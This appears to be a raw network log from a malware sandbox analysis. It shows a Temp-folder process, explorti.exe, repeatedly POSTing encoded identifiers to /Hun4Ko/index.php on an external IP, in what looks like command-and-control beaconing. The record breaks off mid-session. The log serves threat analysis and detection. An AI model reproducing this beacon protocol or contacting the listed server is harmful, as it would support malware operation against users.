Jul 1, 2024 07:21:58.204761028 CEST	309	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 36 37 35 42 36 35 30 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BB42675B65082D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 1, 2024 07:21:58.420999050 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 01 Jul 2024 05:21:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.6	49785	77.91.77.82	80	7104	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 07:21:58.536964893 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 1, 2024 07:21:59.224980116 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 01 Jul 2024 05:21:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.6	49786	77.91.77.82	80	7104	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 07:21:59.234133959 CEST	309	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 36 37 35 42 36 35 30 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BB42675B65082D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 1, 2024 07:21:59.930843115 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 01 Jul 2024 05:21:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.6	49787	77.91.77.82	80	7104	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 07:22:00.052504063 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 1, 2024 07:22:00.757316113 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 01 Jul 2024 05:22:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.6	49788	77.91.77.82	80	7104	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 07:22:00.766659021 CEST	309	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 36 37 35 42 36 35 30 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BB42675B65082D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 1, 2024 07:22:01.475387096 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 01 Jul 2024 05:22:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.6	49789	77.91.77.82	80	7104	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 07:22:01.608871937 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 1, 2024 07:22:02.337728977 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 01 Jul 2024 05:22:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.6	49790	77.91.77.82	80	7104	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 07:22:02.348292112 CEST	309	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 36 37 35 42 36 35 30 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BB42675B65082D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 1, 2024 07:22:03.035132885 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 01 Jul 2024 05:22:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.6	49791	77.91.77.82	80	7104	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 07:22:03.145848036 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 1, 2024 07:22:03.850735903 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 01 Jul 2024 05:22:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.6	49792	77.91.77.82	80	7104	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 07:22:03.860008001 CEST	309	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 36 37 35 42 36 35 30 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BB42675B65082D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 1, 2024 07:22:04.589272022 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 01 Jul 2024 05:22:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.6	49793	77.91.77.82	80	7104	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 07:22:04.707653046 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.6	49794	77.91.77.82	80	7104	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 07:22:04.723625898 CEST	309	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 36 37 35 42 36 35 30 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BB42675B65082D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 1, 2024 07:22:05.411750078 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 01 Jul 2024 05:22:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.6	49795	77.91.77.82	80	7104	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 07:22:05.535902023 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 1, 2024 07:22:06.242638111 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 01 Jul 2024 05:22:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.6	49796	77.91.77.82	80	7104	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 07:22:06.254916906 CEST	309	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 36 37 35 42 36 35 30 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BB42675B65082D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 1, 2024 07:22:06.953778028 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 01 Jul 2024 05:22:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.6	49797	77.91.77.82	80	7104	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 07:22:07.066744089 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 1, 2024 07:22:07.769180059 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 01 Jul 2024 05:22:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.6	49798	77.91.77.82	80	7104	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 07:22:07.778136969 CEST	309	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 36 37 35 42 36 35 30 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BB42675B65082D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 1, 2024 07:22:08.489912033 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 01 Jul 2024 05:22:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.6	49799	77.91.77.82	80	7104	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 07:22:08.615228891 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 1, 2024 07:22:09.345458031 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 01 Jul 2024 05:22:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.6	49800	77.91.77.82	80	7104	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 07:22:09.353677988 CEST	309	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 36 37 35 42 36 35 30 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BB42675B65082D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 1, 2024 07:22:10.050410986 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 01 Jul 2024 05:22:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.6	49801	77.91.77.82	80	7104	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 07:22:10.162785053 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 1, 2024 07:22:10.868160963 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 01 Jul 2024 05:22:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.6	49802	77.91.77.82	80	7104	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 07:22:10.877079010 CEST	309	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 36 37 35 42 36 35 30 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BB42675B65082D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 1, 2024 07:22:11.678395987 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 01 Jul 2024 05:22:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.6	49804	77.91.77.82	80	7104	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 07:22:11.810853004 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 1, 2024 07:22:12.524285078 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 01 Jul 2024 05:22:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.6	49805	77.91.77.82	80	7104	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 07:22:12.532908916 CEST	309	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 36 37 35 42 36 35 30 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BB42675B65082D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 1, 2024 07:22:13.242422104 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 01 Jul 2024 05:22:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.6	49806	77.91.77.82	80	7104	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 07:22:13.363758087 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 1, 2024 07:22:14.050733089 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 01 Jul 2024 05:22:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.6	49807	77.91.77.82	80	7104	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 07:22:14.062813997 CEST	309	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 36 37 35 42 36 35 30 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BB42675B65082D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 1, 2024 07:22:14.788126945 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 01 Jul 2024 05:22:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.6	49808	77.91.77.82	80	7104	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
